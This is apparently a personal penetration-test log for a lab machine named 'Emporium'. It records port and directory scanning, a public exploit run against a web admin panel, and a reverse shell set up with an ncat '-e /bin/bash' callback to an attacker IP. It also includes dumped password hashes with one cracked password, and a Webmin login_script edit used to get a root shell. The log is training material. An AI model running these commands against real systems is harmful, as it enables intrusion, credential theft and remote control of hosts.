Emporium

๐Ÿงช Pentest Log: {{date:2025-08-23}}

๐Ÿ” Target Information

ip=192.168.217.223

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Directory Scan

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

Found backup.zip

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://www.exploit-db.com/exploits/49556

        "path" : "/usr/bin/ncat -nv 192.168.45.163 10000 -e /bin/bash",
        
        
        
def loginReq(target, username, password, groupId):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    s = requests.Session()
    s.verify=False
python3 49556.py $ip:7080 admin Foster2020 shadow

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 10000

cat /etc/passwd

Obtain thor and root password hash

root:$6$XRJJB9j7GYzWvjBy$yZEsOS3cam1DG.eI26bW1TERw5SV7b3RVZQHZB7UFzKNyPR6PPUFfxzclKsiGUT8.WoL7vQ4hhNmekav68kwN1:19150:0:99999:7:::
thor:$6$l2ThCEsvmrzmkKIA$FWtAb1SsYFqAXA96Ze4uGTHtPV9HNi7ShAgoTet1gx.HvkEFePp.Bk/uBeuxpCMz/X3jXWbGavj11po9H/FzP.:19150:0:99999:7:::

Crack it using john

thor:valkyrie

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Sudo

sudo -l

Found

User thor may run the following commands on lite:
    (root) NOPASSWD: /usr/bin/systemctl restart webmin

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

vi /tmp/exploit.pl
chmod +x exploit.pl

python3 49556.py $ip:7080 admin Foster2020 bin

/usr/share/webmin/changepass.pl /etc/webmin root pwn

vi /etc/webmin/miniserv.conf

login_script=/tmp/exploit.pl

sudo /usr/bin/systemctl restart webmin
login to webmin from website, catch the root shell

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 7080